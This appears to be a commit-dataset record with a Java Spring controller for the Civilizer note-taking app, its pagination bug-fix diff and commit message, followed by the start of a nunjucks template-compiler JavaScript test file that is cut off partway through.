import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.webflow.execution.RequestContext;
import com.civilizer.config.AppOptions;
import com.civilizer.dao.FileEntityDao;
import com.civilizer.dao.FragmentDao;
import com.civilizer.dao.TagDao;
import com.civilizer.domain.FileEntity;
import com.civilizer.domain.Fragment;
import com.civilizer.domain.FragmentOrder;
import com.civilizer.domain.SearchParams;
import com.civilizer.domain.Tag;
import com.civilizer.domain.TextDecorator;
import com.civilizer.web.view.*;
@Controller
@Component("mainController")
public final class MainController {
// [DEV]
private static final String DEVELOPMENT_MESSAGE_CLIENT_ID = "fragment-group-form:development-messages";
private static final int MAX_FRAGMENT_PANELS = 3;
private static final String REQUEST_PARAM_LOCALE = "locale";
@SuppressWarnings("unused")
private final Logger logger = LoggerFactory.getLogger(MainController.class);
// private final Gson gson = new GsonBuilder().registerTypeAdapter(DateTime.class, new JodaDateTimeConverter()).create();
@Autowired
private FragmentDao fragmentDao;
@Autowired
private TagDao tagDao;
@Autowired
private FileEntityDao fileEntityDao;
// [TODO] refactor code to maintain special tags
private Tag trashcanTag;
private Tag bookmarkTag;
private Tag getTrashcanTag() {
if (trashcanTag != null) {
return trashcanTag;
}
trashcanTag = tagDao.findById((long) Tag.TRASH_TAG_ID);
return trashcanTag;
}
private Tag getBookmarkTag() {
if (bookmarkTag != null) {
return bookmarkTag;
}
bookmarkTag = tagDao.findById((long) Tag.BOOKMARK_TAG_ID);
return bookmarkTag;
}
private Tag getSpecialTag(String name) {
if (name.equals(Tag.SPECIAL_TAG_NAMES[Tag.TRASH_TAG_ID])) {
return getTrashcanTag();
}
else if (name.equals(Tag.SPECIAL_TAG_NAMES[-Tag.BOOKMARK_TAG_ID])) {
return getBookmarkTag();
}
return null;
}
// [DEV]
public void yetToBeDeveloped(Object ... param) {
String params = "";
for (Object p : param) {
params += p.toString() + ", ";
}
ViewUtil.addMessage(DEVELOPMENT_MESSAGE_CLIENT_ID, "Yet to be developed", params, null);
}
public FragmentListBean[] newFragmentListBeans() {
final FragmentListBean[] output = { null, null, null };
for (int i=0; i<MAX_FRAGMENT_PANELS; ++i) {
final FragmentListBean flb = new FragmentListBean();
final long tagId = (i == 0) ?
PanelContextBean.ALL_VALID_TAGS : PanelContextBean.EMPTY_TAG;
flb.setPanelContextBean(new PanelContextBean(i, tagId));
output[i] = flb;
}
return output;
}
public void populateFragmentListBeans(List<FragmentListBean> flbs, PanelContextBean pcb, SearchContextBean scb, RequestContext rc) {
// final ExternalContext ec = rc.getExternalContext();
// final ParameterMap pm = ec.getRequestParameterMap();
// final String locale = pm.get(REQUEST_PARAM_LOCALE);
// logger.info(locale);
for (int i=0; i<MAX_FRAGMENT_PANELS; ++i) {
final PanelContextBean pc = (pcb != null && pcb.getPanelId() == i) ?
pcb : null;
final SearchContextBean sc = (scb != null && scb.getPanelId() == i) ?
scb : null;
populateFragmentListBean(flbs.get(i), pc, sc);
}
}
private FragmentListBean populateFragmentListBean(FragmentListBean existingFlb, PanelContextBean pcb, SearchContextBean scb) {
final FragmentListBean flb = existingFlb;
final PanelContextBean oldPcb = flb.getPanelContextBean();
final PanelContextBean paramPcb = pcb;
if (pcb == null) {
pcb = oldPcb;
}
SearchParams sp = oldPcb.getSearchParams();
long tagId = pcb.getTagId();
if (scb != null) {
sp = scb.buildSearchParams();
tagId = PanelContextBean.EMPTY_TAG;
}
int curPage = pcb.getCurPage();
if (paramPcb != null) {
curPage = Math.max(0, oldPcb.isLastPage() ? (paramPcb.getCurPage() - 1) : paramPcb.getCurPage());
}
final int count = pcb.getItemsPerPage();
final int first = curPage * count;
final FragmentOrder frgOrder = FragmentOrder.values()[flb.getOrderOption()];
final boolean asc = flb.isOrderAsc();
List<Fragment> fragments = Collections.emptyList();
long allCount = 0;
if (tagId == PanelContextBean.ALL_VALID_TAGS) {
// Fetch all the fragments
fragments = fragmentDao.findSomeNonTrashed(first, count + 1, frgOrder, asc);
allCount = fragmentDao.countAll(false);
}
else if (tagId == Tag.TRASH_TAG_ID) {
// Fetch the trashed fragments
fragments = fragmentDao.findSomeByTagId(tagId, first, count + 1, frgOrder, asc);
allCount = fragmentDao.countByTagAndItsDescendants(tagId, true, tagDao);
}
else if (tagId != PanelContextBean.EMPTY_TAG) {
// Fetch the fragments with the specified tag (non-trashed)
fragments = fragmentDao.findSomeNonTrashedByTagId(tagId, first, count + 1, frgOrder, asc, tagDao);
allCount = fragmentDao.countByTagAndItsDescendants(tagId, false, tagDao);
}
else if (sp != null) {
// Fetch the fragments by the search parameters
fragments = fragmentDao.findBySearchParams(sp);
allCount = fragments.size();
if (allCount == 0)
sp = null;
else
fragments = Fragment.paginate(fragments, first, count + 1, frgOrder, asc);
tagId = PanelContextBean.EMPTY_TAG;
}
// [NOTE] The content of fragments should be IMMUTABLE form here!
final boolean isLastPage = fragments.size() <= count;
final boolean givenTagIsTrashTag = Tag.isTrashTag(tagId);
flb.setTotalCount(allCount);
flb.setPanelContextBean(new PanelContextBean(pcb.getPanelId(), tagId, curPage, count, isLastPage, givenTagIsTrashTag, sp));
// ViewUtil.addMessage("pcb", flb.getPanelContextBean());
List<FragmentBean> fragmentBeans = new ArrayList<FragmentBean>();
final int c = Math.min(count, fragments.size());
for (int i=0; i<c; ++i) {
Fragment f = fragments.get(i);
FragmentBean fb = new FragmentBean();
fb.setFragment(f);
String title = f.getTitle();
String content = f.getContent();
if (sp != null) {
title = TextDecorator.highlight(title, sp);
content = TextDecorator.highlight(content, sp);
}
fb.setTitle(title);
fb.setContent(content);
final String tagNames = Tag.getTagNamesFrom(f.getTags());
fb.setConcatenatedTagNames(tagNames);
fragmentBeans.add(fb);
}
if (fragmentBeans.isEmpty()) {
fragmentBeans = Collections.emptyList();
}
flb.setFragmentBeans(fragmentBeans);
return flb;
}
public FragmentBean newFragmentBean() {
final FragmentBean fragmentBean = new FragmentBean();
final Fragment frg = new Fragment();
fragmentBean.setFragment(frg);
return fragmentBean;
}
public TagListBean newTagListBean() {
final TagListBean tagListBean = new TagListBean();
final List<Tag> tags = tagDao.findAllWithChildren(false);
tagListBean.setTags(tags);
final int tc = tags.size();
final List<TagBean> tagBeans = new ArrayList<TagBean>();
final boolean includeTrashed = false;
for (int i = 0; i < tc; i++) {
TagBean tb = new TagBean();
final Tag t = tags.get(i);
tb.setTag(t);
final long fc = fragmentDao.countByTagAndItsDescendants(t.getId(), includeTrashed, tagDao);
tb.setFragmentCount(fc);
tagBeans.add(tb);
}
tagListBean.setTagBeans(tagBeans);
final TagTree tagTree = newTagTree();
tagListBean.setTagTree(tagTree);
return tagListBean;
}
public FileListBean newFileListBean() {
final FileListBean output = new FileListBean();
final List<FileEntity> fileEntities = fileEntityDao.findAll();
output.setFileEntities(fileEntities);
final FilePathTree filePathTree = newFilePathTree();
output.setFilePathTree(filePathTree);
final FilePathTree folderTree = newFilePathTree();
output.setFolderTree(folderTree);
return output;
}
public TagBean newTagBean() {
final TagBean tagBean = new TagBean();
final Tag tag = new Tag();
tagBean.setTag(tag);
return tagBean;
}
public void prepareTagListBeanToEditTag(TagListBean tagListBean, TagBean tagBean) {
final long tagId = tagBean.getTag().getId();
tagListBean.setTagToEdit(tagId);
tagBean.getTag().setTagName(tagListBean.getTagToEdit().getTag().getTagName());
tagListBean.setParentTags(tagDao.findParentTags(tagId));
}
public SpecialTagBean newBookmarkTagBean() {
final SpecialTagBean tagBean = new SpecialTagBean();
final Tag tag = getBookmarkTag();
tagBean.setTag(tag);
final List<Fragment> fragments = fragmentDao.findByTagId(tag.getId(), false);
final List<FragmentBean> fbs = new ArrayList<FragmentBean>();
for (Fragment fragment : fragments) {
final FragmentBean fb = new FragmentBean();
fb.setFragment(fragment);
fbs.add(fb);
}
tagBean.setFragmentBeans(fbs);
return tagBean;
}
private TagTree newTagTree() {
final TagTree tagTree = new TagTree();
return tagTree;
}
private FilePathTree newFilePathTree() {
final FilePathTree fpTree = new FilePathTree();
return fpTree;
}
public PanelContextBean newPanelContextBean(int panelId, long tagId, int curPage) {
return new PanelContextBean(panelId, tagId, curPage);
}
public PanelContextBean newPanelContextBean(PanelContextBean oldPcb, int pageOffset) {
return new PanelContextBean(oldPcb.getPanelId(), oldPcb.getTagId(), oldPcb.getCurPage() + pageOffset);
}
public SearchContextBean newSearchContextBean() {
return new SearchContextBean();
}
public void bookmarkFragment(Long fragmentId) {
final Fragment frg = fragmentDao.findById(fragmentId, true, false);
frg.addTag(getBookmarkTag());
try {
fragmentDao.save(frg);
ViewUtil.addMessage("Bookmarked", "Fragment #" + frg.getId(), null);
}
catch (Exception e) {
e.printStackTrace();
ViewUtil.addMessage("Error on bookmarking!!!", e.getLocalizedMessage(), FacesMessage.SEVERITY_ERROR);
}
}
public void unbookmarkFragment(Long fragmentId) {
final Fragment frg = fragmentDao.findById(fragmentId, true, false);
frg.removeTag(getBookmarkTag());
try {
fragmentDao.save(frg);
ViewUtil.addMessage("Unbookmarked", "Fragment #" + frg.getId(), null);
}
catch (Exception e) {
e.printStackTrace();
ViewUtil.addMessage("Error on unbookmarking!!!", e.getLocalizedMessage(), FacesMessage.SEVERITY_ERROR);
}
}
private void trashFragment(Long fragmentId) {
final Fragment frg = fragmentDao.findById(fragmentId, true, false);
frg.addTag(getTrashcanTag());
try {
fragmentDao.save(frg);
ViewUtil.addMessage("Trashed", "Fragment #" + frg.getId(), null);
}
catch (Exception e) {
e.printStackTrace();
ViewUtil.addMessage("Error on trashing a fragment!!!", e.getLocalizedMessage(), FacesMessage.SEVERITY_ERROR);
}
}
public void trashFragment(FragmentBean fb) {
trashFragment(fb.getFragment().getId());
}
private void trashFragments(List<Long> fragmentIds) {
for (Long id : fragmentIds) {
trashFragment(id);
}
}
public void trashFragments(FragmentListBean flb) {
final Collection<FragmentBean> fragmentBeans = flb.getFragmentBeans();
for (FragmentBean fb : fragmentBeans) {
if (!fb.isChecked()) {
continue;
}
trashFragment(fb.getFragment().getId());
}
}
private void deleteFragment(Long fragmentId) {
final Fragment frg = fragmentDao.findById(fragmentId);
try {
fragmentDao.delete(frg);
ViewUtil.addMessage("Deleted", "Fragment #" + frg.getId(), null);
}
catch (Exception e) {
e.printStackTrace();
ViewUtil.addMessage("Error on deleting a fragment!!!", e.getLocalizedMessage(), FacesMessage.SEVERITY_ERROR);
}
}
public void deleteFragment(FragmentBean fb) {
deleteFragment(fb.getFragment().getId());
}
public void deleteFragments(FragmentListBean flb) {
final Collection<FragmentBean> fragmentBeans = flb.getFragmentBeans();
for (FragmentBean fb : fragmentBeans) {
if (!fb.isChecked()) {
continue;
}
deleteFragment(fb.getFragment().getId());
}
}
public void saveFragment(FragmentBean fb, TagListBean tagListBean) {
final String tagNames = fb.getConcatenatedTagNames();
final Set<Tag> tags = saveTagsWhenSavingFragment(tagListBean, tagNames);
Fragment frg = fb.getFragment();
boolean weHaveNewFragment = false;
final DateTime dt = new DateTime();
if (frg.getId() == null) {
// It is a new fragment...
frg.setCreationDatetime(dt);
weHaveNewFragment = true;
}
else {
// It is an existing fragment...
final String content = frg.getContent();
frg = fragmentDao.findById(frg.getId());
frg.setContent(content);
}
frg.setUpdateDatetime(dt);
frg.setTags(tags);
try {
fragmentDao.save(frg);
ViewUtil.addMessage(weHaveNewFragment ? "Created" : "Updated", "Fragment #" + frg.getId(), null);
}
catch (Exception e) {
e.printStackTrace();
ViewUtil.addMessage("Error on saving a fragment!!!", e.getLocalizedMessage(), FacesMessage.SEVERITY_ERROR);
}
}
private Set<Tag> saveTagsWhenSavingFragment(TagListBean tagListBean, String tagNames) {
// [NOTE] this method should be called only when fragments are saved as its name implies
final Collection<Tag> existingTags = tagListBean.getTags();
final Collection<String> names = Tag.getTagNameCollectionFrom(tagNames);
final Set<Tag> output = new HashSet<Tag>();
for (String name : names) {
Tag t = Tag.isSpecialTag(name) ?
getSpecialTag(name) : Tag.getTagFromName(name, existingTags);
boolean weHaveNewTag = false;
if (t == null) {
final char invalidCharacter = Tag.validateName(name);
if (invalidCharacter != 0) {
final String msg = String.format("'%s' contains a disallowed character : %s", name, invalidCharacter);
ViewUtil.addMessage("Error on saving a new tag!!!", msg, FacesMessage.SEVERITY_ERROR);
continue;
}
t = new Tag(name);
weHaveNewTag = true;
}
try {
tagDao.save(t);
if (weHaveNewTag) {
ViewUtil.addMessage("Created", "Tag : " + t.getTagName(), null);
}
}
catch (Exception e) {
e.printStackTrace();
ViewUtil.addMessage("Error on saving a tag during saving fragments!!!", e.getLocalizedMessage(), FacesMessage.SEVERITY_ERROR);
}
output.add(t);
}
return output;
}
public void saveTag(TagBean tagBean, TagListBean tagListBean) {
final TagBean tagToEdit = tagListBean.getTagToEdit();
final Tag t = tagToEdit.getTag();
final String oldName = t.getTagName();
final String newName = tagBean.getTag().getTagName();
if (newName.isEmpty()) {
ViewUtil.addMessage("Error on updating a tag!!!", "An empty tag name is not allowed!", FacesMessage.SEVERITY_ERROR);
return;
}
t.setTagName(newName);
try {
if (tagListBean.isHierarchyTouched()) {
// persistence request from the tag editor; tag hierarchy would be updated
tagDao.saveWithHierarchy(t, tagListBean.getParentTags(), tagListBean.getChildTags());
}
else {
// persistence request without updating relationships; e.g. renaming only
tagDao.save(t);
}
ViewUtil.addMessage("Updated", "Tag : " + oldName + " => " + newName, null);
}
catch (Exception e) {
e.printStackTrace();
ViewUtil.addMessage("Error on updating a tag!!!", e.getLocalizedMessage(), FacesMessage.SEVERITY_ERROR);
}
}
public void trashTag(TagBean tb) {
final Tag t = tb.getTag();
final Long id = t.getId();
if (id != null) {
final List<Long> fids = fragmentDao.findIdsByTagId(id);
trashFragments(fids);
}
}
public void deleteTag(TagBean tb) {
Tag t = tb.getTag();
final Long id = t.getId();
if (id != null) {
t = tagDao.findById(id);
try {
tagDao.delete(t);
ViewUtil.addMessage("Deleted", "Tag : " + t.getTagName(), null);
}
catch (Exception e) {
e.printStackTrace();
ViewUtil.addMessage("Error on deleting a tag!!!", e.getLocalizedMessage(), FacesMessage.SEVERITY_ERROR);
}
}
}
public void relateFragments(int fromId, int toId) {
try {
fragmentDao.relateFragments(fromId, toId);
ViewUtil.addMessage("Related", "Fragments : " + fromId + " <==> " + toId, null);
}
catch (Exception e) {
e.printStackTrace();
ViewUtil.addMessage("Error on relating fragments!!!", e.getLocalizedMessage(), FacesMessage.SEVERITY_ERROR);
}
}
public void unrelateFragments(int fromId, int toId) {
try {
fragmentDao.unrelateFragments(fromId, toId);
ViewUtil.addMessage("Unrelated", "Fragments : " + fromId + " <" + Character.toString((char) 0x2260) + "> " + toId, null);
}
catch (Exception e) {
e.printStackTrace();
ViewUtil.addMessage("Error on unrelating fragments!!!", e.getLocalizedMessage(), FacesMessage.SEVERITY_ERROR);
}
}
public void uploadFile(FileUploadBean fileUploadBean, FileListBean fileListBean) {
final int dstNodeId = fileListBean.getDstNodeId();
final String newFileName = fileUploadBean.getFileName();
final String filePath = fileListBean.getFullFilePath(dstNodeId, newFileName);
final String filesHomePath = System.getProperty(AppOptions.FILE_BOX_HOME);
final String fileWritePath = filesHomePath + filePath;
if (fileUploadBean.saveFile(fileWritePath)) {
final FileEntity fe = new FileEntity(filePath);
try {
fileEntityDao.save(fe);
ViewUtil.addMessage("File Uploaded", filePath, null);
}
catch (Exception e) {
e.printStackTrace();
ViewUtil.addMessage("Error on File Upload!!!", filePath + " :: " + e.getLocalizedMessage(), FacesMessage.SEVERITY_ERROR);
}
}
else {
ViewUtil.addMessage("Error on File Upload!!!", filePath, FacesMessage.SEVERITY_ERROR);
}
}
public void renameFile(FileListBean fileListBean) {
final int srcNodeId = fileListBean.getSrcNodeId();
final String newName = fileListBean.getFileName();
final String filesHomePath = System.getProperty(AppOptions.FILE_BOX_HOME);
if (srcNodeId < 0) {
// [RULE] Create a new directory if *srcNodeId* is a minus value;
// [NOTE] we need to decode *srcNodeId* before passing it to the next processing
if (fileListBean.createNewFolder(-srcNodeId - 1, newName, filesHomePath) == null) {
ViewUtil.addMessage("Error on Creating a Folder!!!", newName + " : already exists!", FacesMessage.SEVERITY_ERROR);
}
return;
}
final FilePathBean filePathBean = fileListBean.getFilePathBean(srcNodeId);
final String oldFilePath = filePathBean.getFullPath();
List<FileEntity> entities = Collections.emptyList();
if (filePathBean.isFolder()) {
final File oldDir = filePathBean.toFile(filesHomePath);
final FileEntity fe = new FileEntity(oldFilePath);
fe.replaceNameSegment(oldFilePath, newName);
final File newDir = fe.toFile(filesHomePath);
try {
FileUtils.moveDirectory(oldDir, newDir);
} catch (IOException e) {
e.printStackTrace();
ViewUtil.addMessage("Error on Renaming a Folder!!!", oldFilePath + " :: " + e.getLocalizedMessage(), FacesMessage.SEVERITY_ERROR);
}
entities = fileEntityDao.findByNamePattern(oldFilePath + '%');
}
else {
final File oldFile = filePathBean.toFile(filesHomePath);
final FileEntity fe = new FileEntity(oldFilePath);
fe.replaceNameSegment(oldFilePath, newName);
final File newFile = fe.toFile(filesHomePath);
try {
FileUtils.moveFile(oldFile, newFile);
} catch (IOException e) {
e.printStackTrace();
ViewUtil.addMessage("Error on Renaming a File!!!", oldFilePath + " :: " + e.getLocalizedMessage(), FacesMessage.SEVERITY_ERROR);
}
FileEntity entity = fileEntityDao.findByName(oldFilePath);
if (entity != null) {
entities = new ArrayList<>();
entities.add(entity);
}
}
for (FileEntity fe : entities) {
fe.replaceNameSegment(oldFilePath, newName);
try {
fileEntityDao.save(fe);
ViewUtil.addMessage("File Renamed", fe.getFileName(), null);
} catch (Exception e) {
e.printStackTrace();
ViewUtil.addMessage("Error on Renaming a File!!!", fe.getFileName() + " :: " + e.getLocalizedMessage(), FacesMessage.SEVERITY_ERROR);
}
}
}
public void moveFile(FileListBean fileListBean) {
final int srcNodeId = fileListBean.getSrcNodeId();
final String filesHomePath = System.getProperty(AppOptions.FILE_BOX_HOME);
final FilePathBean srcPathBean = fileListBean.getFilePathBean(srcNodeId);
final String oldFilePath = srcPathBean.getFullPath();
final int dstNodeId = fileListBean.getDstNodeId();
final FilePathBean dstPathBean = fileListBean.getFolderPathBean(dstNodeId);
final String newParentPath = dstPathBean.getFullPath();
List<FileEntity> entities = Collections.emptyList();
if (srcPathBean.isFolder()) {
final File oldDir = srcPathBean.toFile(filesHomePath);
final FileEntity fe = new FileEntity(newParentPath + "/" + srcPathBean.getName());
final File newDir = fe.toFile(filesHomePath);
if (oldDir.equals(newDir)) {
ViewUtil.addMessage("No Effect!!!", fe.getFileName() + " :: The source and destination are identical", FacesMessage.SEVERITY_WARN);
return;
}
if (newDir.getAbsolutePath().startsWith(oldDir.getAbsolutePath())) {
ViewUtil.addMessage("Error on Moving a Folder!!!", fe.getFileName() + " :: The source is a subdirectory of the destination", FacesMessage.SEVERITY_ERROR);
return;
}
try {
FileUtils.moveDirectory(oldDir, newDir);
} catch (IOException e) {
e.printStackTrace();
ViewUtil.addMessage("Error on Moving a Folder!!!", fe.getFileName() + " :: " + e.getLocalizedMessage(), FacesMessage.SEVERITY_ERROR);
}
entities = fileEntityDao.findByNamePattern(oldFilePath + '%');
}
else {
final File oldFile = srcPathBean.toFile(filesHomePath);
final FileEntity fe = new FileEntity(newParentPath + "/" + srcPathBean.getName());
final File newFile = fe.toFile(filesHomePath);
if (oldFile.equals(newFile)) {
ViewUtil.addMessage("Error on Moving a File!!!", fe.getFileName() + " :: The destination already exists", FacesMessage.SEVERITY_ERROR);
return;
}
try {
FileUtils.moveFile(oldFile, newFile);
} catch (IOException e) {
e.printStackTrace();
ViewUtil.addMessage("Error on Moving a File!!!", fe.getFileName() + " :: " + e.getLocalizedMessage(), FacesMessage.SEVERITY_ERROR);
}
FileEntity entity = fileEntityDao.findByName(oldFilePath);
if (entity != null) {
entities = new ArrayList<>();
entities.add(entity);
}
}
for (FileEntity fe : entities) {
if (srcPathBean.isFolder()) {
fe.setFileName(newParentPath + "/" + srcPathBean.getName() + fe.getFileName().replace(oldFilePath, ""));
}
else {
fe.setFileName(newParentPath + "/" + fe.endName());
}
try {
fileEntityDao.save(fe);
ViewUtil.addMessage("File Moved", fe.getFileName(), null);
} catch (Exception e) {
e.printStackTrace();
ViewUtil.addMessage("Error on Moving a File!!!", fe.getFileName() + " :: " + e.getLocalizedMessage(), FacesMessage.SEVERITY_ERROR);
}
}
}
public void deleteFile(FileListBean fileListBean) {
final int srcNodeId = fileListBean.getSrcNodeId();
final FilePathBean filePathBean = fileListBean.getFilePathBean(srcNodeId);
final String filesHomePath = System.getProperty(AppOptions.FILE_BOX_HOME);
final String filePath = filePathBean.getFullPath();
List<FileEntity> entities = Collections.emptyList();
if (filePathBean.isFolder()) {
entities = fileEntityDao.findByNamePattern(filePath + '%');
}
else {
FileEntity entity = fileEntityDao.findByName(filePath);
if (entity != null) {
entities = new ArrayList<>();
entities.add(entity);
}
}
FileUtils.deleteQuietly(filePathBean.toFile(filesHomePath));
for (FileEntity fe : entities) {
try {
fileEntityDao.delete(fe);
ViewUtil.addMessage("Files Deleted", fe.getFileName(), null);
} catch (Exception e) {
e.printStackTrace();
ViewUtil.addMessage("Error on Deleting Files!!!", fe.getFileName() + " :: " + e.getLocalizedMessage(), FacesMessage.SEVERITY_ERROR);
}
}
}
@RequestMapping(value = "/fragment/{fragmentId}", method = { RequestMethod.GET })
public String onRequestForFragment(ModelMap model, @PathVariable Long fragmentId) {
final Fragment frg = fragmentDao.findById(fragmentId, true, true);
model.addAttribute("fragment", frg);
return "fragment";
}
@RequestMapping(value = "/locale/{locale}", method = { RequestMethod.GET })
public String onRequestForLocale(@PathVariable String locale, HttpServletResponse response) {
Cookie cookie = new Cookie(REQUEST_PARAM_LOCALE, locale);
response.addCookie(cookie);
return "redirect:/app/home?locale=" + locale;
}
}
| [bug fix] there was an error in handling pagination of fragments fetched
by keyword search;
[update] added a few code comments; | src/main/java/com/civilizer/web/controller/MainController.java | [bug fix] there was an error in handling pagination of fragments fetched by keyword search; [update] added a few code comments; | <ide><path>rc/main/java/com/civilizer/web/controller/MainController.java
<ide> pcb = oldPcb;
<ide> }
<ide>
<add> int curPage = pcb.getCurPage();
<add> if (paramPcb != null) {
<add> // the current page has been updated by going forward or forward
<add> curPage = Math.max(0,
<add> oldPcb.isLastPage() ? (paramPcb.getCurPage() - 1) : paramPcb.getCurPage());
<add> }
<ide> SearchParams sp = oldPcb.getSearchParams();
<ide> long tagId = pcb.getTagId();
<ide> if (scb != null) {
<add> // a new KEYWORD SEARCH has been kicked;
<ide> sp = scb.buildSearchParams();
<add> // this branch has the highest priority of all so it forces to overwrite a few key variables like so:
<ide> tagId = PanelContextBean.EMPTY_TAG;
<del> }
<del> int curPage = pcb.getCurPage();
<del> if (paramPcb != null) {
<del> curPage = Math.max(0, oldPcb.isLastPage() ? (paramPcb.getCurPage() - 1) : paramPcb.getCurPage());
<add> curPage = 0;
<ide> }
<ide> final int count = pcb.getItemsPerPage();
<ide> final int first = curPage * count;
<ide> final FragmentOrder frgOrder = FragmentOrder.values()[flb.getOrderOption()];
<ide> final boolean asc = flb.isOrderAsc();
<ide>
<del> List<Fragment> fragments = Collections.emptyList();
<del> long allCount = 0;
<add> List<Fragment> fragments = Collections.emptyList(); // resultant fragments
<add> long allCount = 0; // the number of fragments at maximum
<ide> if (tagId == PanelContextBean.ALL_VALID_TAGS) {
<ide> // Fetch all the fragments
<ide> fragments = fragmentDao.findSomeNonTrashed(first, count + 1, frgOrder, asc);
<ide> fragments = fragmentDao.findBySearchParams(sp);
<ide> allCount = fragments.size();
<ide> if (allCount == 0)
<del> sp = null;
<add> sp = null; // no search hit so no need to record any info to the context;
<ide> else
<ide> fragments = Fragment.paginate(fragments, first, count + 1, frgOrder, asc);
<ide> tagId = PanelContextBean.EMPTY_TAG;
<ide> final boolean isLastPage = fragments.size() <= count;
<ide> final boolean givenTagIsTrashTag = Tag.isTrashTag(tagId);
<ide> flb.setTotalCount(allCount);
<add> // Record the panel context; it will be referred at the next page update
<ide> flb.setPanelContextBean(new PanelContextBean(pcb.getPanelId(), tagId, curPage, count, isLastPage, givenTagIsTrashTag, sp));
<ide> // ViewUtil.addMessage("pcb", flb.getPanelContextBean());
<ide> |
|
JavaScript | bsd-2-clause | d5fd4c46321d3c0bfa8d712eef79fcc1843c0e59 | 0 | node-modules/nunjucks,carljm/nunjucks,campbellwmorgan/nunjucks,vigetlabs/nunjucks,campbellwmorgan/nunjucks,punkave/nunjucks,robgraeber/nunjucks,rhengles/nunjucks,mozilla/nunjucks,vigetlabs/nunjucks,atorkhov/nunjucks,AaronO/nunjucks,robgraeber/nunjucks,kevinschaul/nunjucks,pardo/nunjucks,node-modules/nunjucks,rhengles/nunjucks,atorkhov/nunjucks,AaronO/nunjucks,carljm/nunjucks,santoshsahoo/nunjucks,node-modules/nunjucks,oddbird/nunjucks,campbellwmorgan/nunjucks,internalfx/nunjucks,fabien/nunjucks,fabien/nunjucks,devoidfury/nunjucks,carljm/nunjucks,mozilla/nunjucks,AaronO/nunjucks,rhengles/nunjucks,pardo/nunjucks,devoidfury/nunjucks,punkave/nunjucks,kevinschaul/nunjucks,robgraeber/nunjucks,internalfx/nunjucks,carljm/nunjucks,vigetlabs/nunjucks,oddbird/nunjucks,kevinschaul/nunjucks,robgraeber/nunjucks,oddbird/nunjucks,vigetlabs/nunjucks,AaronO/nunjucks,punkave/nunjucks,pardo/nunjucks,santoshsahoo/nunjucks,devoidfury/nunjucks,internalfx/nunjucks,santoshsahoo/nunjucks,fabien/nunjucks,node-modules/nunjucks,kevinschaul/nunjucks,fabien/nunjucks,oddbird/nunjucks,santoshsahoo/nunjucks,rhengles/nunjucks,internalfx/nunjucks,punkave/nunjucks,pardo/nunjucks,atorkhov/nunjucks,mozilla/nunjucks,atorkhov/nunjucks,campbellwmorgan/nunjucks | (function() {
var expect, util, Environment, Template, fs;
if(typeof require != 'undefined') {
expect = require('expect.js');
util = require('./util');
Environment = require('../src/environment').Environment;
Template = require('../src/environment').Template;
fs = require('fs');
}
else {
expect = window.expect;
util = window.util;
Environment = nunjucks.Environment;
Template = nunjucks.Template;
}
var render = util.render;
var equal = util.equal;
var finish = util.finish;
describe('compiler', function() {
it('should compile templates', function(done) {
equal('Hello world', 'Hello world');
equal('Hello world, {{ name }}',
{ name: 'James' },
'Hello world, James');
equal('Hello world, {{name}}{{suffix}}, how are you',
{ name: 'James',
suffix: ' Long'},
'Hello world, James Long, how are you');
finish(done);
});
it('should escape newlines', function(done) {
equal('foo\\nbar', 'foo\\nbar');
finish(done);
});
it('should compile references', function(done) {
equal('{{ foo.bar }}',
{ foo: { bar: 'baz' }},
'baz');
equal('{{ foo["bar"] }}',
{ foo: { bar: 'baz' }},
'baz');
finish(done);
});
it('should fail silently on undefined values', function(done) {
equal('{{ foo }}', '');
equal('{{ foo.bar }}', '');
equal('{{ foo.bar.baz }}', '');
equal('{{ foo.bar.baz["biz"].mumble }}', '');
finish(done);
});
it('should not treat falsy values the same as undefined', function(done) {
equal('{{ foo }}', {foo: 0}, '0');
equal('{{ foo }}', {foo: false}, 'false');
finish(done);
});
it('should compile function calls', function(done) {
equal('{{ foo("msg") }}',
{ foo: function(str) { return str + 'hi'; }},
'msghi');
finish(done);
});
it('should compile function calls with correct scope', function(done) {
equal('{{ foo.bar() }}', {
foo: {
bar: function() { return this.baz; },
baz: 'hello'
}
}, 'hello');
finish(done);
});
it('should compile if blocks', function(done) {
var tmpl = ('Give me some {% if hungry %}pizza' +
'{% else %}water{% endif %}');
equal(tmpl, { hungry: true }, 'Give me some pizza');
equal(tmpl, { hungry: false }, 'Give me some water');
equal('{% if not hungry %}good{% endif %}',
{ hungry: false },
'good');
equal('{% if hungry and like_pizza %}good{% endif %}',
{ hungry: true, like_pizza: true },
'good');
equal('{% if hungry or like_pizza %}good{% endif %}',
{ hungry: false, like_pizza: true },
'good');
equal('{% if (hungry or like_pizza) and anchovies %}good{% endif %}',
{ hungry: false, like_pizza: true, anchovies: true },
'good');
equal('{% if food == "pizza" %}pizza{% endif %}' +
'{% if food =="beer" %}beer{% endif %}',
{ food: 'beer' },
'beer');
finish(done);
});
it('should compile the ternary operator', function(done) {
equal('{{ "foo" if bar else "baz" }}', 'baz');
equal('{{ "foo" if bar else "baz" }}', { bar: true }, 'foo');
finish(done);
});
it('should compile inline conditionals', function(done) {
var tmpl = 'Give me some {{ "pizza" if hungry else "water" }}';
equal(tmpl, { hungry: true }, 'Give me some pizza');
equal(tmpl, { hungry: false }, 'Give me some water');
equal('{{ "good" if not hungry }}',
{ hungry: false }, 'good');
equal('{{ "good" if hungry and like_pizza }}',
{ hungry: true, like_pizza: true }, 'good');
equal('{{ "good" if hungry or like_pizza }}',
{ hungry: false, like_pizza: true }, 'good');
equal('{{ "good" if (hungry or like_pizza) and anchovies }}',
{ hungry: false, like_pizza: true, anchovies: true }, 'good');
equal('{{ "pizza" if food == "pizza" }}' +
'{{ "beer" if food == "beer" }}',
{ food: 'beer' }, 'beer');
finish(done);
});
function runLoopTests(block, end) {
equal('{% ' + block + ' i in arr %}{{ i }}{% ' + end + ' %}',
{ arr: [1, 2, 3, 4, 5] }, '12345');
equal('{% ' + block + ' i in arr %}{{ i }}{% else %}empty{% ' + end + ' %}',
{ arr: [1, 2, 3, 4, 5] }, '12345');
equal('{% ' + block + ' i in arr %}{{ i }}{% else %}empty{% ' + end + ' %}',
{ arr: [] }, 'empty');
equal('{% ' + block + ' a, b, c in arr %}' +
'{{ a }},{{ b }},{{ c }}.{% ' + end + ' %}',
{ arr: [['x', 'y', 'z'], ['1', '2', '3']] }, 'x,y,z.1,2,3.');
equal('{% ' + block + ' item in arr | batch(2) %}{{ item[0] }}{% ' + end + ' %}',
{ arr: ['a', 'b', 'c', 'd'] }, 'ac');
